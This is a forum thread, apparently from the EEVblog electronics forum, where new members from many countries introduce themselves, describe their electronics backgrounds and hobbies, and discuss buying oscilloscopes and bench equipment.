Hi, I'm Prajay Madhavan from Bangalore, India. I had worked as an RF and Analog application engineer for Texas Instruments for 17 years before parting ways and starting on my own. I started the company ZSCircuits Electronic Systems in Bangalore in 2018. I had been a hobbyist from my childhood, which I spent mostly tinkering electronic appliances. Apart from electronics, I do a bit of carpentry, software development, and fishing at my home town Kochi. I travel frequently when I am not in my lab. I am really loving eevblog.

I designed a Power Profiler tool for IOT Applications named ZS-2102-A. This is now being sold online and is quite useful to measure the current profile and battery life of IOT devices in the lab.
Title: Re: New Member, Please introduce yourself
Post by: skylord73 on September 19, 2019, 12:40:11 pm
Hi all,
I'm Andrea from Italy.
I like PIC and Arduino projects.
My Hobby is to project and build CNC Machines
 
Title: Re: New Member, Please introduce yourself
Post by: MadKat332 on September 21, 2019, 12:55:34 pm
Hi everyone..i'm new :)
Title: Re: New Member, Please introduce yourself
Post by: MadKat332 on September 21, 2019, 12:56:28 pm
Typical forum always has a tread on introducing members.  ;D ;D

Hello from Malaysia. I am currently studying in Sunway Monash University Campus in Electrical & Computing System Engineering (2nd year). I got a bit bored by the typical theoretical lecture and wanted to buy some lab instrument for the practical side. I recently bought PICkit 3, fluke 289/FVF, LCR meter TH2821, some soldering tools and breadboards. I am currently building my own linear power supply for my micro-controller and looking forward to start learning micro-controller myself.  ;)

 
WTFF
Title: Re: New Member, Please introduce yourself
Post by: EEEnthusiast on September 21, 2019, 01:30:04 pm
Hi everyone..i'm new :)
Can you add something more about yourself. This thread was to understand people and get to know their background and general interests.
Title: Re: New Member, Please introduce yourself
Post by: Vcky_electro on September 25, 2019, 07:27:09 pm
Hi all,
Myself Vignesh. I have completed my electrical and electronics graduation on 2017 in Saranathan college in Trichy. I'm interested in electronics stuff. During my college days I have doing frequency counter, sensor integration with 8085 microcontroller and other stuff..I really wanted to explosre many things in electronics field. That's y I'm here..
Title: Re: New Member, Please introduce yourself
Post by: KennyM on September 27, 2019, 04:22:54 pm
Good day forum members,
Long time subscriber of Dave's YouTube channel. I'm an early retired Electronics Systems Engineer for the State of Colorado. I build electronic music equipment and vintage computers as a hobby. My retirement job is a commercial pilot and part time certified flight instructor.

Kenny
Title: Re: New Member, Please introduce yourself
Post by: Charles Swain on September 29, 2019, 05:11:52 pm
Hello, my name is Charles Swain.

Title: Re: New Member, Please introduce yourself
Post by: Wes8761 on September 29, 2019, 10:18:26 pm
Hi guys! Im Wes. Im a 15 year old nerd. Currently messing with some electronics and trying to get all equipment together.
Title: Re: New Member, Please introduce yourself
Post by: password on September 30, 2019, 06:13:40 pm
Hi All

Another person form South Africa joins the ranks.


No my password is not username.

Been wanting to be more active in electronics, but my scatter mind and forgetfullness tends to get the better of me.
My favorite project I've done was building my own computer.electronics desk.
Other hobbies are welding and blacksmithing and procrastinating!

Title: Re: New Member, Please introduce yourself
Post by: SerieZ on October 02, 2019, 07:01:21 am
Hello everyone,

I am a young PCB Layout Designer from Switzerland.
After long time lurking and being a subscriber to the Youtube Channel I finally decided to make the leap and join the Forums.
I hope we all can have a productive Time together :)
Title: Re: New Member, Please introduce yourself
Post by: da075 on October 04, 2019, 12:04:47 pm
Hello everyone,

i am a DSP engineer, but i also have a well rounded knowledge in other disciplines as well. i have also an extensive experience in vhdl design and pcb layout, designed and implemented many projects with a wide variety of micro-controllers, and also designed and implemented several GUIs and APIs. which means that i usually fine myself in system engineering roles, and it also means that i can do some interesting projects from start to finish on my own, though i am not sure if this a good thing or a terrible thing :)
Title: Re: New Member, Please introduce yourself
Post by: firozkhan on October 05, 2019, 07:04:09 am
Hello,
I am new member in this forum hope we have great discussion ahead :)
Title: Re: New Member, Please introduce yourself
Post by: tholland on October 07, 2019, 01:05:23 pm
Hi I'm Tony. I'm a silver surfer with an abiding interest in Z80 she's which goes back to Clive Sinclair's ZX81.
Title: Re: New Member, Please introduce yourself
Post by: galileo on October 08, 2019, 10:36:41 pm
Who cares, yet another hobby electronics enthusiast registering for the nth time because Dave purges old inactive accounts. Maybe this will stop him from nuking it yet again.
Title: Re: New Member, Please introduce yourself
Post by: DerrickThunder76 on October 11, 2019, 12:15:04 am
Hi everyone,

This is Derrick I am a new Enthusiast that have enjoyed the Videos. I have a network engineering degree and have basic electronics skills. Electronics is more a hobby than a carrier but looking to always expand my knowledge and took AC/DC fundamentals 18 years ago. Dabbled with Ardeno and raspberry pi and have a basic electronics workbench with parts and old computers. One of the first being the Tandy color computer 3. I am from Battle Creek , Michigan in the USA.
Title: Re: New Member, Please introduce yourself
Post by: kronarq on October 16, 2019, 11:58:59 pm
Hi Everyone,

Long time lurker not wanting to have my account purged again |O.

So I figured I would take the opportunity to post and say hello and thank you, I have learned so much from Dave and the community over the years.
Title: Re: New Member, Please introduce yourself
Post by: james tong on October 17, 2019, 01:29:59 pm
Hello, I'm James Tong and a sales manager  from Shenzhen Sewate Technology Co., Ltd in china.  our company is a leading provider of electronic packaging products such as Anti static IC tubes and Carrier tapes, Over the years, has been committed to product innovation and customer collaboration to identify and defining their needs and to continuously provide innovative technical services and products to customers worldwide.
Title: Re: New Member, Please introduce yourself
Post by: Archanjl on October 19, 2019, 07:53:23 am
Hello.  I am a long time lurker, I found my first Dave video back in 2013 looking for soldering tutorials and have followed ever since.  I am an electrical engineer that works in accelerated life testing.  And for the important details about me, rum is my preferred drink.  Followed closely by beer.
Title: Re: New Member, Please introduce yourself
Post by: garyhui on October 21, 2019, 05:20:37 pm
Hi there everyone!
i'm from Hong Kong, this forum is so comprehensive and i can learn a lot from here!

u might watched the news about the mess in hong kong these few weeks.
thank you for the guys who support the HongKonger

Looking forward for more discussion!
Title: Re: New Member, Please introduce yourself
Post by: Syntax Error on October 22, 2019, 09:23:59 pm
Greetings! My name is Andrew, an old-skool software developer and tech fan from England UK. I've been doing tear downs since I was old enough to go exploring inside the back of a cathode (x)ray TV with a metal screwdriver. I'm now experimenting with lower-voltage embedded-devices and open source stuff, including KiCAD.

Dave a big :-+ thank you for being such a positive inspiration in a world that's so top-down dumbed down.
Title: Re: New Member, Please introduce yourself
Post by: Cannibal_pyro on October 24, 2019, 05:22:20 pm
Names doug. I'm 30. Looking for work in electronics field. Going to school for english education.
Title: Re: New Member, Please introduce yourself
Post by: China NewBoy on November 05, 2019, 12:12:03 pm
Hi there everyone!
i'm from Hong Kong, this forum is so comprehensive and i can learn a lot from here!

u might watched the news about the mess in hong kong these few weeks.
thank you for the guys who support the HongKonger

Looking forward for more discussion!
im not hongkonger,but i support you!
Title: Re: New Member, Please introduce yourself
Post by: Richard1972 on November 08, 2019, 09:00:07 pm
Hello everyone, Greetings from Sheffield UK. Although I haven’t joined until today, I have been visiting this forum for many years and am grateful for all the help I have found through reading posts on here. Not sure if this is interesting to anyone, but I have been running my own computer repair business for about 7 years now, but that has mainly been basic repairs such as soldering a D.C. jack or replacing a broken lcd. I have also built the odd website or two, but mainly using Wordpress or Joomla templates.

I am a bit of a jack of all trades really, but master of none. I am therefore hoping that in time I might be able to learn more about electronics so that one day I may be able to offer more types of repairs to motherboards as opposed to simply soldering the odd connector on. I am also hoping that in time, I might be able to contribute to this forum myself rather than just asking questions or reading other people’s posts.
Title: Re: New Member, Please introduce yourself
Post by: Deboscope on November 10, 2019, 02:52:32 pm
Hi Ladies and Gents

I am George from UK and currently in UAE.

I know not much about electronics, but I have had an oscilloscope in the past. I am trying to buy me a new one.

Nice to be here, and I am sure I can get some useful insights on the uses and applications of DSOs...
Title: Re: New Member, Please introduce yourself
Post by: Various on November 10, 2019, 06:57:26 pm
Hi,

I live in the UK, I have had very modest success carrying out home repairs on PCs which has grown my interest in electronics but otherwise no knowledge of the subject.

I have a specific electronic problem I am trying to solve so I'm here to learn and get some opinions before I blow anything up!

Thanks in advance.

Matt
Title: Re: New Member, Please introduce yourself
Post by: gorignak on November 14, 2019, 04:12:02 am
Hi,

I'm a software engineer who is interested in getting into hardware more.  I'm just getting started and thought this would be a good place to learn.
Title: Re: New Member, Please introduce yourself
Post by: Weston on November 16, 2019, 07:29:24 am
I guess I am slightly late for this, but better late than never.

I am a PhD student in Power Electronics. I mainly build tesla coils, but the tesla coil related forums are not doing that well right now so I decided to create an account here.
Title: Re: New Member, Please introduce yourself
Post by: scoopbidou on November 17, 2019, 01:56:34 pm
Hello,  :)

I live in FRANCE. I am a good detective's "dog-dog" ...
I am interested for the purchase of an oscilloscope. And it is by searching information about those items that I realized that we could "hack" certain models to upgrade additional options !   :-+  :D
What is interesting for restricted budgets and which opens access to some top of ranges...

That's how I discovered this forum where mix of numerous nationalities !

It is a big pleasure of reaching me with this forum but the practice of the English language is not my strong point ; what restricts my understanding on numerous subjects a lot !   |O

This is my first message on a forum, but certainly there will be others : probably to ask some help or clarification over certain topics !
@+




[Bonjour,
Je vis en FRANCE. Je suis un  bon chien-chien détective... Je suis intéressé pour l'achat d'un oscilloscope. Et c'est à force de chercher que je me suis rendu compte que l'on pouvait "pirater" certains modèles  pour upgrader des options supplémentaire !
Ce qui est intéressant  pour des budgets limités et qui ouvre l’accès à des hauts de gammes...
C'est ainsi que j'ai découvert ce forum où se côtoie de nombreuses nationalités !
C'est un grand plaisir de me joindre à ce forum  mais la pratique de la langue anglaise n'est pas mon fort ; ce qui limite beaucoup ma compréhension sur de nombreux sujets !
C'est mon 1er message sur un forum, mais certainement il y en aura d'autres : sans doute pour demander de l'aide ou des éclaircissements sur certains sujets !
@+]
Title: Re: New Member, Please introduce yourself
Post by: StillTrying on November 17, 2019, 04:53:59 pm
Je suis intéressé pour l'achat d'un oscilloscope

Votre anglais n'est pas tout à fait mauvais, je peux le comprendre et je peux presque lire la version française. Je pense que Siglent X et X-E sont "la meilleure valeur", pour le moment.
Title: Re: New Member, Please introduce yourself
Post by: scoopbidou on November 18, 2019, 07:30:20 pm
Hi StillTrying!   :)

Thanks a lot for your (French) answer  8)  , which is very nice and delicate on your part !
And your French is perfect too !!!    ^-^

Yes, indeed, the "Siglent SDS1104X-E" seems to me the best choice for that price/range.
I hesitate a little with the "RIGOL MSO5074", but for a double price despite of the unlocking possibility of its options by "hacking" ... Anyway, it will be a definitive purchase for me because I do not intend to change device thereafter, unless if  my choice is on a more economical oscillo  : as a USB/DSO for 200 Euros ...

Indeed, my first choice was an oscillo as "HANTEK 6254BD's" type , whose set of basic functions were sufficient (for now) for me. But an exclusive use of a "mouse" is not very comfortable and practical at long. The most important for my current use is that its bandwidth is at least 200 MHz with the spectrum analyzer option. In this range, I will probably change later ...

So for now, I target the "Hantek 6254BD" but the wish  to have a "TOP" as the "RIGOL MSO5074" is BIG !!!   >:D
I know there is better, but I will not go above this price, especially because I need to have a differential and (possibly) current probe .
May be I'm going to wait a little more to let's the prices fall and instead take the minimum for instant ... At see ...

PS: OK, may be my inglish is a little good, but it tooks me a lot of time to translate french language... That is why i prefer to have a scope with FRENCH MENU, as SIGLENT or RIGOL !!!  ;)

PS 2  : I love very much your humor, especially your comment/joke about your "COUNTRY": "Broken Britain" ...   :-DD
MDR LOL, but it's still very sad and unfortunate what is going on at this time compared to Brexit ...  :'( :'( :'( |O
Let's hope that it gets better and that there can be a new vote !!!  :-+
Too much dupery  in the world and unfortunately in FRANCE !  >:D >:D >:D
Especially at this moment with so much manipulation of the media by our governments ... Too sad and disgusting all that ..   :'(



[Ce qui est très gentil et délicat de votre part ! Et votre français est parfait aussi !
Oui, effectivement, le Siglent SDS1104X-E me semble le meilleur choix possible dans cette gamme de prix. J' hésite un peu avec le "RIGOL MSO5074", mais pour le double du prix malgré la possibilité de déblocage de ses options par "hack" ... De toutes manières,  ce sera un achat définitif pour  moi car je ne compte pas changer  d'appareil par la suite, sauf si mon choix se porte sur un oscillo plus économique : comme un DSO usb à 200Euros...
En effet, mon 1er choix était un oscillo du type "HANTEK 6254BD", dont l'ensemble des fonctions de bases étaient suffisantes (pour l'instant) pour moi. Mais l' usage exclusif d'une "souris" n'est pas très confortable et pratique. Le plus important pour mon usage actuel étant que sa bande passante soit au moins de 200MHz et qu'il puisse faire aussi analyseur de spectre. Dans cette gamme, j'aurai sans doute changer par la suite...
Alors pour l'instant, je cible le "Hantek 6254BD" mais l'envie d'avoir un "TOP" comme le "RIGOL MSO5074" est GRANDE !!!
Je sais qu'il y a mieux, mais je n'irai pas au dessus de ce prix, surtout que j'ai besoin d'avoir en plus une sonde différentiel et éventuellement de courant.
Je vais peut être attendre encore un peu, que les prix baissent et prendre le minimum... A voir...
PS: OK, mon anglais est peut-être correct, mais il me faut beaucoup de temps pour traduire la langue française ... C'est pourquoi je préfère avoir un scope avec des menus en français, comme SIGLENT ou RIGOL !!!
PS  2 : J'adore votre humour, notamment votre commentaire  au sujet  de votre PAYS : "Broken Britain"...
LOL MDR, mais c'est quand même très triste et regrettable ce qui se passe en ce moment chez vous par rapport au Brexit... Espérons que cela s'arrange et qu'il puisse y avoir un nouveau vote !!!
Trop de tromperie dans le monde et malheureusement en FRANCE !
Surtout en ce moment avec tant de manipulation des médias par nos gouvernements... Trop triste et écœurant tout ça...]

Edit:  rajout "PS 2: ... ... ..." 
Title: Re: New Member, Please introduce yourself
Post by: Ntando92 on November 19, 2019, 07:39:41 am
Greetings ladies and gents!

My name is Ntando, I live in South Africa. I recently discovered my interest in Electrical Enginneering and would like to explore it. I would like to learn about building electronics and start building my own things soon.

Happy to be here and look forward to meeting like minded people.
Title: Re: New Member, Please introduce yourself
Post by: localkorner on November 24, 2019, 11:50:13 am
Hi Guys & Girls,

I'm Gergely, computer scientist and hardware enthusiast from Budapest, Hungary.

I was drawn here after finding several relevant and useful topics in the past few weeks and I feel like i've discovered Aladdins cave of electrics knowledge :)

I hope I can make useful contributions.

Thanks
Title: Re: New Member, Please introduce yourself
Post by: Doom-the-Squirrel on November 24, 2019, 01:24:39 pm
I just now found this thread. Better late than never...

I'm Scott, from Arizona.

I'm a transit bus technician, with an associate's degree in diesel technology.

Most of my electronics work has been in dealing with controls modules on vehicles, as well as multiplexing systems.

I've enjoyed many of the videos from the EEVblog, learning something new from them.

Title: Re: New Member, Please introduce yourself
Post by: Zucca on November 27, 2019, 02:13:40 pm
I am interested for the purchase of an oscilloscope. And it is by searching information about those items that I realized that we could "hack" certain models to upgrade additional options !   :-+  :D
What is interesting for restricted budgets and which opens access to some top of ranges...

some nice deal right now:

https://www.eevblog.com/forum/buysellwanted/fs-ukeu-keysight-dsox-3014t-(with-200-mhz-bw-upgrade)-app-bundle-probes-etc/ (https://www.eevblog.com/forum/buysellwanted/fs-ukeu-keysight-dsox-3014t-(with-200-mhz-bw-upgrade)-app-bundle-probes-etc/)

here maybe too expensive for you:

https://www.eevblog.com/forum/buysellwanted/fs-eu-agilent-scope-bonanza-msox3054a-500mhz-full-dso6104l-1ghz-5900/ (https://www.eevblog.com/forum/buysellwanted/fs-eu-agilent-scope-bonanza-msox3054a-500mhz-full-dso6104l-1ghz-5900/)
Title: Re: New Member, Please introduce yourself
Post by: Clarmrrsn on November 27, 2019, 10:53:43 pm
Hello

I have had an interest in Electronics for many years, stemming from a degree in computing and 20 years in the field service industry.  I have performed the odd modification or upgrade of audio equipment, all done while not really having much EE knowledge to back it up, which is certainly what has held me back.

Around 2 months ago I started an online course in EE and circuit board design, I am enjoying it and learning a lot, but it is such a huge subject so,have got a lot to learn.

Good to be here.  A Very interesting forum.

Clark
Title: Re: New Member, Please introduce yourself
Post by: velomane on November 30, 2019, 09:20:02 pm
Hi everyone,

Another new member saying hello. In my fifties, but I've had an interest in electronics my whole life. My uncle Marcel can attest to that: I took apart his cassette player when I was seven or eight. I can't recall if I put it back together, though. That would have been about the same time I learned why a capacitor was called a capacitor- ouch!  I look forward to learning from the gurus on the forum.
Title: Re: New Member, Please introduce yourself
Post by: Doom-the-Squirrel on December 01, 2019, 08:20:31 am
Hi everyone,

Another new member saying hello. In my fifties, but I've had an interest in electronics my whole life. My uncle Marcel can attest to that: I took apart his cassette player when I was seven or eight. I can't recall if I put it back together, though. That would have been about the same time I learned why a capacitor was called a capacitor- ouch!  I look forward to learning from the gurus on the forum.

Sounds like what I did in my teens.

What do you do with electronics these days?
Title: Re: New Member, Please introduce yourself
Post by: PzKpfw IV Ausf. H on December 05, 2019, 09:24:55 pm
Hi everyone,

I have been watching the EEVBlog youtube channel for quite a while and I finally decided to create an account here. I'm a hobbyist and on my way to becomming a "real" engineer. My favourite pastime is taking on projects that sound super awesome in my head but turn out to be way too difficult for me to handle. I hope that I can reduce that 100% failure rate to 99% with some advice from this forum  :-+
Title: Re: New Member, Please introduce yourself
Post by: velomane on December 05, 2019, 11:53:12 pm
Hi everyone,

Another new member saying hello. In my fifties, but I've had an interest in electronics my whole life. My uncle Marcel can attest to that: I took apart his cassette player when I was seven or eight. I can't recall if I put it back together, though. That would have been about the same time I learned why a capacitor was called a capacitor- ouch!  I look forward to learning from the gurus on the forum.

Sounds like what I did in my teens.

What do you do with electronics these days?

These days? Not much. I'm here because I’ve decided I want to get into electronics as a serious hobby. I’m in the autumn of my career and I need to prepare myself for retirement, so this is it. I have a great spot in the basement to set up a workbench. I’ve got plenty of books to read and an engineer friend to use as a resource.
Title: Re: New Member, Please introduce yourself
Post by: Youpi on December 10, 2019, 09:35:37 pm
Hello everyone,

Just another free electron in this forum.
I mainly register for the section of metrology.
And for Dave and this community, a big thanks you  :-+
Title: Re: New Member, Please introduce yourself
Post by: CajunSTD2 on December 19, 2019, 11:42:23 pm
Hello everyone, total noob older guy that finally decided to start monkeying with electronics.
Hope to learn all i can about working with and on electronic gadgets.

Steve K.
Title: Re: New Member, Please introduce yourself
Post by: XavierM on December 23, 2019, 02:40:29 pm
Hello !

I'm Xavier, from Strasbourg in France !
I'm fairly new to electronics. I mean, I know the basics theory, but as alway, things are always more complicated in life and I'm passed beyond turning on and off LEDs.
So I thought I'd come here look for help ! ^^

Otherwise, I like filmmaking, meeting people and chocolate ! :D

Cheers !
Title: Re: New Member, Please introduce yourself
Post by: Paul Ed on December 23, 2019, 05:27:23 pm
Hello Y'all,

After watching many EEVblog Youtube videos  (thanks Dave, appreciated) and browsing this forum as a non-member for a while I've taken the plunge and am joining in the fun here, so thought an intro might help others help me  :-+

Yet another stiff ass*d Brit living in gloriously sunny central England after much of my working life working 'otherwhere' am returning to electronics now as a keen hobbyist recently rebuilding a home workbench and I welcome help, suggestions, and corrections >:D 

73&88 de Paul.
Title: Re: New Member, Please introduce yourself
Post by: EazyCzE on December 23, 2019, 08:47:07 pm
Hello Everyone!

I'm watching EEVblog for serval years. So I thought it was time to look at the forum. I used to be electronics hobbiest, and then I turn to computers.
Gradually, however, I go back to the beginning and so I started again with Arduino and recently also ESP and home automation.

I am from the Czech Republic and currently I work as an IT specialist. At one time I also programmed a PLC, which was quite fun, especially finding the right sequences for running a complicated machine.

I think I'd send my dumpster find, but the postage seems pretty expensive to me.


What do you think? Send it?

Paul
Title: Re: New Member, Please introduce yourself
Post by: SolarMan on December 28, 2019, 07:56:11 pm
Hi Everyone :)

I'm a lifelong tinkerer with special interests in electric bikes and renewable energy :-/O

I hope to get feedback on some ideas and to contribute something to the community in return  ;D
Title: Re: New Member, Please introduce yourself
Post by: Bud on December 28, 2019, 08:19:11 pm
Hello Everyone!

I'm watching EEVblog for serval years. So I thought it was time to look at the forum. I used to be electronics hobbiest, and then I turn to computers.
Gradually, however, I go back to the beginning and so I started again with Arduino and recently also ESP and home automation.

I am from the Czech Republic and currently I work as an IT specialist. At one time I also programmed a PLC, which was quite fun, especially finding the right sequences for running a complicated machine.

I think I'd send my dumpster find, but the postage seems pretty expensive to me.


What do you think? Send it?

Paul
Neat old school device, love it!
Title: Re: New Member, Please introduce yourself
Post by: cyberwasp on January 01, 2020, 02:31:45 pm
Ok, I hope this ends up in the right place this time.

When I was young I used to build heath kits with my dad and then went to just buying parts and building all sort of things from radios to transceivers. Well along came the PC and I got hooked on the internet where I mostly played around. Not being a gamer I went into editing Photos and until recently just edited for fun. Now at 63 it's my job and I work from home since I'm in Florida and my boss is in California.

In my spare time I've become a Mr. fixit for the community working on simple thing like Pc's, phones, solar lights the usual household items. I've setup a work bench and purchased my first Oscilloscope. My main reason for joining is to learn as much as I've forgotten. Here's hoping you can teach an old dog new tricks
Title: Re: New Member, Please introduce yourself
Post by: stefan_trekkie on January 01, 2020, 07:29:12 pm
Hello to all.

I am a little bit late in the introduction post because as always I don't look everywhere in time  :-DD

More then 10 years I am working in big industrial factories. Mostly big power stuff but electronics are big part of my work too. I love electronics, love to build, love to repair, test my own designs, fail, then test again to achieve my goals.. Analog electronics is my thing. It is like poetry - it rimes "every idiot can count do 1", right ? I rarely work on audio/video electronics.  :popcorn:

https://www.youtube.com/watch?v=uxXweEYYFwE (https://www.youtube.com/watch?v=uxXweEYYFwE)





 
Title: Re: New Member, Please introduce yourself
Post by: joxelito on January 03, 2020, 02:56:49 pm
Hi everyone,
I have been following de EEVBlog youtube channel for some time as well as reading these phorums.
Now is time to join the community.
Electronics have been my favorite hobby since i was a kid. Years ago I became an electronic Engineer and although this is not my actually profession, never lost my interest.
I really appreciate the EEVBlog as well as other youtube channels around electronics
Title: Re: New Member, Please introduce yourself
Post by: JohnnyG56 on January 08, 2020, 03:23:37 am
Hi Y'all.

Like many here, I found the YouTube channel first, I really love David's presentation style.

In the military, I was a truck mechanic.  When I got out of the military, I went to an electronics trade school.  After completing the basic electronics course, I got hired by Xerox as a Xerox 9700 Service Technician.  The 9700 was a Dec PDP1134 driven 120 page a minute laser printer that you could find in many of the data centers around the USA and I suppose the world.

By the mid 90's I had moved into Sales, I sold the Xerox DocuTech.  I have been selling software for the past 15 years and love what I do.

I still keep my hands in all things technical and want to get into troubleshooting/repairing electronic things that fail around my house.  I live in a Newmar Motorhome and there is always something that needs to be fixed.  I have an Electrical Management System PCB with a bunch of relays on it.  The board works fine but the relays need to be replaced.  I also have an NVidia Shield Pro that will not turn on.  Working on electronic and mechanical stuff brings me back to my earlier days and I am still pretty good at it.

I recently purchased a used ScienScope SSZ-2 Trinocular.  Now I am looking for a soldering station, a multimeter, a power supply and possibly a digital scope.  I'm leaning towards a Pace ADS200 soldering station and a Fluke 87V multimeter.  I need to do more research on the power supply and scope. 

I'm glad I found you all.... I have a lot to learn and believe I can learn it here.

JohnnyG


Title: Re: New Member, Please introduce yourself
Post by: elvispresley on January 09, 2020, 08:26:20 pm
Hello everybody my name is Fernando, I live in Argentina, I love electronics , martial arts and R&R
Im glad to be here i hope learn a lot and find good friends from all countries
my first languaje is spanish so my apologies for my english mistakes
see u all  :-+
Title: Re: New Member, Please introduce yourself
Post by: AlMuz on January 09, 2020, 09:54:31 pm
Hi,
my name is Alex. Watching Dave videos on yotube for last 3 years. Learned a lot.
I do some back-end server side software engineering by day and having fun with embedded development by night.
Through last three years it got to some "sophisticated" DIY levels. Like etching PCBs using photoresist exposed by a 3D printer which was converted to laser engraver:
https://www.thingiverse.com/thing:2791931 (https://www.thingiverse.com/thing:2791931)
https://www.thingiverse.com/thing:3494172 (https://www.thingiverse.com/thing:3494172)
Than laser cutting stencils and acrylic holder jig to solder these PCBs:

Lately most of my designs are so complex that I go to either PcbWay or JLCPCB, but for simple things still occasionaly enjoy DIY near the kitchen sink.
Title: Re: New Member, Please introduce yourself
Post by: Gyro on January 09, 2020, 10:00:46 pm
Impressive!  :-+
Title: Re: New Member, Please introduce yourself
Post by: Brad808 on January 10, 2020, 01:54:04 am
Hi all! I fell down this rabbit hole fixing arcade and pinball machines. Where it ends... nobody knows  :-DD
Title: Re: New Member, Please introduce yourself
Post by: Bean99 on January 10, 2020, 05:19:49 pm
Hi from the east coast!

Im Casey but most friends call me Bean. I am your usual maker geek. I have been cosplaying for a few years now and got into electronics about a year and a half ago. I have been a fan of channels like dave's and Clive's for a long time and those channels are what really got me to take to leap into the electronics field. I just started college for a bachelors in electronic engineering technology. I still have a lot to learn I am still following schematics and tutorials to make things like the TV-B-Gone or lights for my costumes but between my classes and the wealth of knowledge here I hope to be able to start designing my own circuits and projects before too long. ^u^

Title: Re: New Member, Please introduce yourself
Post by: supperman on January 15, 2020, 03:17:45 am
Hi All,

I'm relatively new here..
I'm a software guy who has always had a foot in hardware. I'm starting a new company centered around a consumer hardware product so I'm getting in deep for the first time with 6+ layer boards, multiple FPGAs and some high speed signalling. It is a learning curve..

But I have one pressing questions I could use some help with..
Is there an easy way to keep track of conversations you are a part of? Right now, if I don't recall the category I'm posting in.. I forget to go back and see if anyone had anything new to say... I must be missing something since this seems really important.

Best,
A
Title: Re: New Member, Please introduce yourself
Post by: tautech on January 15, 2020, 03:23:18 am


But I have one pressing questions I could use some help with..
Is there an easy way to keep track of conversations you are a part of? Right now, if I don't recall the category I'm posting in.. I forget to go back and see if anyone had anything new to say... I must be missing something since this seems really important.

Best,
A
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Title: Re: New Member, Please introduce yourself
Post by: supperman on January 15, 2020, 02:35:17 pm
Great. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: whiskers on January 16, 2020, 01:15:36 pm
Hello from Belgium in Europe!

I've been watching the youtube channel and been lurking on the forum somewhat. My day job is in IT but I'm bumbling along in electronics for recreational and home automation.
Up to this point in life I've shocked myself on 230V AC by accident four times, this qualifies me for something right?
Title: Re: New Member, Please introduce yourself
Post by: ppppenguin on January 16, 2020, 03:32:31 pm
Greetings to all fellow EEV bloggers. I've known about EEVblog for years but never quite got round to joining until now.

I'm almost retired from professional electronics but I'm active in vintage stuff. Member of the BVWS (British Vintage Wireless Society) for many years and a founder of the Broadcast Engineering Conservation Group (BECG). www.becg.org.uk (http://www.becg.org.uk) We have applied to become a registered charity.

I raise money for the British Vintage Wireless and TV Museum (Dulwich, South London. Another charity) and the BECG. As such, I may want to flog odd (very odd!) stuff here from time to time. I've got a pile of NOS vintage bipolar PROMs to sort out at the moment.

Some of you may recognise my "ppppenguin" name from other forums. Some may even have had the misfortune of meeting me in person:) I'll see if I can get my animated penguin avatar to work here.
Title: Re: New Member, Please introduce yourself
Post by: Paul Ed on January 16, 2020, 03:40:18 pm
Welcome to the forum!
Greetings to all fellow EEV bloggers. I've known about EEVblog for years but never quite got round to joining until now.

I'm almost retired from professional electronics but I'm active in vintage stuff. Member of the BVWS (British Vintage Wireless Society) for many years and a founder of the Broadcast Engineering Conservation Group (BECG). www.becg.org.uk (http://www.becg.org.uk) We have applied to become a registered charity.

I raise money for the British Vintage Wireless and TV Museum (Dulwich, South London. Another charity) and the BECG. As such, I may want to flog odd (very odd!) stuff here from time to time. I've got a pile of NOS vintage bipolar PROMs to sort out at the moment.

Some of you may recognise my "ppppenguin" name from other forums. Some may even have had the misfortune of meeting me in person:) I'll see if I can get my animated penguin avatar to work here.
Ohhhh, I like the sound of those two charities, will have to viist their sites and find out more, thanks for the links and details about them.

Animated Avatars - suspect not, as mine should be an animated GIF (it's an old-school computer front panel - all the lights should be blinking and flashing)
Title: Re: New Member, Please introduce yourself
Post by: ppppenguin on January 16, 2020, 03:51:12 pm
Hi Paul Ed. Thanks for the welcome. My animated GIF ppppenguin works just fine  :)

Please have a look around the BECG and BVWTM websites:
https://becg.org.uk/ (https://becg.org.uk/)
http://bvwtm.org.uk/ (http://bvwtm.org.uk/)

If you fancy a vintage event then RetrotechUK (previously NVCF) is a big vintage technology fleamarket (over 200 stalls) plus displays and demonstrations. https://www.retrotechuk.com/ (https://www.retrotechuk.com/)

Title: Re: New Member, Please introduce yourself
Post by: Estor on January 22, 2020, 11:46:41 pm
Hello everyone :)

My name is Martin (pl.: Marcin / latin: Martius).
I'm a software engineering contractor for living.
From times when i was 10, programming was my hobby, my passion, my love!
Started with Atari 65XE and Basic, then Amiga and my first try to learn assembly on DemoScene, finally PC and for few years ASM as the only language i known :-DD, today on everyday day it's C/C++ with some Java when i need to prototype some idea till i write it in C/C++ :P

So.. what I'm doing on this forum?
I found that I do not have hobby anymore |O, as my hobby is my work for past 18 years ... as New Year Resolution decided to go into EE as my new hobby :-+ (before that tried snow board - yay after 40... it's not easy to have both feet strangled to piece of wood and dont get your boom hurt, so tried sailing... it's fun, but hard to do it at home at bad weather :D ).

What I want to learn? Before i get my hands on EE-Lego called Raspberry or Arduino, want to get an in depth understating of analog part. Do not want to be just an user of some prefabricated shields.
So hope to learn from other, and serve with my programming skills in return - reference https://pl.linkedin.com/in/marcin-wasniowski-3856ab73 (https://pl.linkedin.com/in/marcin-wasniowski-3856ab73)
Title: Re: New Member, Please introduce yourself
Post by: Infrared_Fred on January 27, 2020, 07:50:31 pm
I am an electrical engineer educated by the Art of Electronics and similar books i.e. I have never had any formal training.  I like taking apart broken electronics (I have  fixed several things.) :-BROKE :-DMM My dream machine to deconstruct/ refurbish would be an old Z-80 based computer. 
Title: Re: New Member, Please introduce yourself
Post by: jimmie on January 30, 2020, 05:05:44 pm
hi my name is Jim and im a heavy equipment operator in British Columbia Canada. I mostly operate a grader out in the mountains grading logging roads in summer and plowing snow in winter.
Title: Re: New Member, Please introduce yourself
Post by: ken246810 on February 05, 2020, 12:21:26 am
I just registered today after a good while visiting the forum.
I am An electronics engineer I am in Scotland UK.

I have a decent electronics setup at home and at work, but my home setup is better than at work  :-DD

I recently got hold of a BK pvs10005 nice and cheap BUT BROKEN, it was an easy fix, it is a very interesting PSU.
at the moment I am hunting for a nice bench multimeter maybe dmm6500 or 34465a and I have spent a while reading up on them here
Title: Re: New Member, Please introduce yourself
Post by: Vizmiz on February 05, 2020, 01:58:39 pm
Hello everyone, Feel free to call me John.
Electronics has always been interesting to me so I have decided to take the plunge and start learning it. Also trying to do it on as small a budget as I can by reusing materials that I have saved from the trash.

For now I am collecting what I can and setting up my little desktop lab.
    My power supply for 12 and 5v is from a salvaged computer PSU.
    Because of where I am getting my parts from I have ordered one of those component testers from Amazon.
    The multi-meter is a harbor freight special (Yes, I do plan to upgrade.)
    The soldering iron melts solder. (Not sure what more I can expect from it)
